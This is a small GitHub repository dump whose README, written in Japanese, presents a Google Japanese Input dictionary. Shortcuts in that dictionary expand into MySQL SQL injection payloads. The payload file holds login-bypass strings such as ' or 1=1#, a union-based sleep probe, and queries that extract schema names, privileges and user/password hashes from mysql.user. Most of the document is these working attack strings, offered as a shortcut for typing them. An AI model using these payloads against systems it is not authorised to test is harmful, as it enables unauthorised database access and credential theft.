├── screenshot.png ├── sqli_dict.txt └── README.md /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tkmru/sqli_dict/master/screenshot.png -------------------------------------------------------------------------------- /sqli_dict.txt: -------------------------------------------------------------------------------- 1 | s1 user'# 記号 2 | s1 ' or 1=1# 記号 3 | s1 ') or '1'='1# 記号 4 | s1 hoge' union select sleep(3),1,1,1,1,1# 記号 5 | s2 SELECT schema_name FROM information_schema.schemata LIMIT 1,1; 記号 6 | s2 SELECT Super_priv FROM mysql.user WHERE user=(SELECT user) LIMIT 1,1# 記号 7 | s2 SELECT user, password FROM mysql.user LIMIT 1,1 記号 8 | s2 SELECT * FROM mysql.user WHERE 1 LIMIT 1,1 記号 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQLi辞書 2 | 3 | Google 日本語入力用のSQLi辞書。 4 | 5 | ## インストール方法 6 | Google 日本語入力 辞書ツールを開いて新規辞書にインポートを選択してsqli_dict.txtをインポートする。 7 | 8 | ![image](./screenshot.png) 9 | 10 | ## 使い方 11 | 全角で s[数字]を打つとsqliが変換候補が出る。 12 | 13 | - s1: MySQLへのSQLiチェック 14 | - s2: MySQLから情報を抜くやつ 15 | 16 | 17 | ## LICENCE 18 | 19 | "THE BEER-WARE LICENSE" (Revision 42): 20 | 21 | [@tkmru](https://twitter.com/tkmru) wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp --------------------------------------------------------------------------------